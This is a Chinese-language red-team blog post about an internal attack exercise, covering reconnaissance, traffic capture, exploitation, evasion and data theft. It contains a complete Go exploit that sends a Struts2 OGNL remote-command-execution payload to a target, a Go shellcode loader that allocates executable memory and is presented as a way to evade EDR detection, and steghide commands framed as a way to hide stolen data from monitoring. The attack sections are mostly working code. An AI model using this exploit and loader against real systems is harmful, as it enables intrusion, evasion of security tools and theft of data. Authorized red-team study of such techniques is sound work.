0x01 攻击板块

在深入红队攻防演练之前,让我们先聊一聊技术原理。红队的工作不仅仅是找到漏洞,更重要的是利用这些漏洞对目标系统发起持续性的攻击。我曾经参与过一场内部演练,目标是某互联网公司的内部系统。为了做到这一点,我们深入研究了目标的IT架构,包括服务器、应用程序和网络配置。在这过程中,信息收集是至关重要的一步。

信息收集是红队攻击链中的第一步,也是非常关键的一步。通过信息收集,我们能够了解目标的网络边界、开放端口、操作系统类型、已知漏洞等信息,为后续的攻击策略制定打下坚实基础。有一次,我们通过利用Shodan爬取信息,发现目标使用的是过时的Apache Struts版本,正是这次信息收集为后续的攻击奠定了基础。

流量捕获实战

接下来是实战演示部分,最令人兴奋的环节。在某次内部测试中,我们搭建了一个靶场环境:包含多个Windows服务器、Linux服务器以及一台防火墙。目标是模拟真实的企业环境,以便更好地进行攻击演练。

环境搭建

靶场的搭建需要注意模拟真实环境中的多样性和复杂性。我们选择使用Vagrant和VirtualBox来快速创建和管理虚拟环境。以下是快速搭建的Shell脚本:

<pre><code class="language-shell">#!/bin/bash

使用Vagrant和VirtualBox搭建攻防靶场

初始化Vagrant环境

vagrant init bento/ubuntu-20.04

启动虚拟机

vagrant up

SSH进入虚拟机

vagrant ssh

安装所需工具

sudo apt-get update sudo apt-get install -y nmap openjdk-11-jdk</code></pre>

上面这个脚本可以帮助我们快速搭建一个基础的Linux靶机并安装所需工具。这个环境中,我们可以测试各种攻击手段。

网络流量捕获

在红队演练中,捕获和分析网络流量是至关重要的一环。我们使用Wireshark和tcpdump等工具,对目标网络的流量进行实时监控和分析。有一次,我通过分析流量发现了一台内网服务器正在与外部IP地址进行可疑通信,这为我们后续的横向移动提供了重要线索。

<pre><code class="language-shell"># 使用tcpdump捕获流量 sudo tcpdump -i eth0 -w capture.pcap

分析捕获的流量

wireshark capture.pcap</code></pre>

通过上述步骤,我们可以捕获并分析目标网络中的流量,寻找潜在的攻击入口。

Payload构造的艺术

攻击不仅仅是找到漏洞,还要有效地利用这些漏洞,以达到预期的效果。Payload的构造就是其中的关键一步。在一次实战中,我们针对目标的Struts漏洞,构造了一个精妙的Payload,成功实现了远程命令执行。

黑客示意图

POC代码实现

以下是一个简单的Go语言编写的Payload示例,针对某个常见的Struts漏洞:

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;net/http&quot; &quot;strings&quot; )

func main() { url := &quot;http://target.com/struts2-showcase/index.action&quot; payload := &quot;id=1&amp;name=%{(#_=&#039;multipart/form-data&#039;).&quot; + &quot;(#[email protected]@DEFAULT_MEMBER_ACCESS).&quot; + &quot;(#_memberAccess?(#_memberAccess=#dm):&quot; + &quot;((#container=#context[&#039;com.opensymphony.xwork2.ActionContext.container&#039;]).&quot; + &quot;(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).&quot; + &quot;(#ognlUtil.getExcludedPackageNames().clear()).&quot; + &quot;(#ognlUtil.getExcludedClasses().clear()).&quot; + &quot;(#context.setMemberAccess(#dm)))).&quot; + &quot;(#cmd=&#039;touch /tmp/pwned&#039;).&quot; + &quot;(#iswin=(@java.lang.System@getProperty(&#039;os.name&#039;).toLowerCase()&quot; + &quot;.contains(&#039;win&#039;))).&quot; + &quot;(#cmds=(#iswin?{&#039;cmd.exe&#039;,&#039;/c&#039;,#cmd}:{&#039;/bin/bash&#039;,&#039;-c&#039;,#cmd})).&quot; + &quot;(#p=new java.lang.ProcessBuilder(#cmds)).&quot; + &quot;(#p.redirectErrorStream(true)).(#process=#p.start()).&quot; + &quot;(#ros=(@org.apache.struts2.ServletActionContext@getResponse()&quot; + &quot;.getOutputStream())).&quot; + &quot;(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).&quot; + &quot;(#ros.flush())}&quot;

req, err := http.NewRequest(&quot;POST&quot;, url, strings.NewReader(payload)) if err != nil { fmt.Println(&quot;Error creating request:&quot;, err) return } req.Header.Set(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;)

client := &amp;http.Client{} resp, err := client.Do(req) if err != nil { fmt.Println(&quot;Error sending request:&quot;, err) return } defer resp.Body.Close()

fmt.Println(&quot;Response status:&quot;, resp.Status) }</code></pre>

这段代码能够实现对目标服务器的远程命令执行,具体是创建了一个名为/tmp/pwned的文件。通过这种方式,我们不仅验证了目标存在漏洞,还能够进一步利用该漏洞实现更复杂的攻击。

绕过EDR的策略

随着安全技术的发展,许多企业开始使用EDR(Endpoint Detection and Response)工具来检测和防御攻击。对于红队来说,如何绕过这些检测系统也是一项重要的能力。有一次,我使用自定义的Loader来加载我们的Payload,在内存中执行而不触碰磁盘,从而成功避开了EDR的检测。

免杀技术

我们可以使用Go语言和Assembly结合的方式来实现免杀的Loader,使得Payload执行时不被EDR识别。以下是一个简单的示例:

<pre><code class="language-go">package main

import ( &quot;syscall&quot; &quot;unsafe&quot; )

var shellcode = [...]byte{ // 在这里插入shellcode }

黑客示意图

func main() { kernel32 := syscall.NewLazyDLL(&quot;kernel32.dll&quot;) virtualAlloc := kernel32.NewProc(&quot;VirtualAlloc&quot;) exec, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x3000, 0x40)

for i, b := range shellcode { ptr := unsafe.Pointer(exec + uintptr(i)) ((byte)(ptr)) = b }

黑客示意图

syscall.Syscall(exec, 0, 0, 0, 0) }</code></pre>

通过内存分配和执行,我们可以在不落地的情况下运行Payload,有效绕过EDR的查杀。

数据窃取与痕迹清除

在获得目标系统的控制权后,窃取数据是红队演练的最终目标。我们需要能够绕过审计系统进行数据窃取,并在操作后清除痕迹,以避免被检测。有一次,我使用了一种巧妙的流量混淆技术,将数据伪装成正常的Web流量进行传输,成功避开了防火墙和IDS/IPS的监控。

技术实现

我们可以使用Steganography技术,将敏感数据隐匿于看似正常的图片中,通过HTTP流量发送出去。这种方式不仅能够有效隐藏数据,还能够绕过网络监控设备。

<pre><code class="language-shell"># 使用Steghide工具来进行数据隐藏 steghide embed -cf cover.jpg -ef secret.txt -p password</code></pre>

通过这种技术,我们能够在不被发现的情况下,顺利窃取目标系统中的重要数据。

个人反思与下一步计划

回顾这次红队攻防演练,从信息收集到数据窃取,我们采用了多种技术手段和策略,成功完成了演练目标。在此过程中,我们也发现了一些新的安全风险和防御不足之处。接下来,我计划继续研究如何更好地利用AI技术来增强攻击能力,同时也会深入研究最新的防御技术,以提升我们的整体攻防水平。

作为红队,我们的使命是通过不断地挑战和冲击现有的安全系统,发现潜在的安全隐患,并提出解决方案。在未来的演练中,我将继续探索新的攻击方式,提升红队的整体战斗力。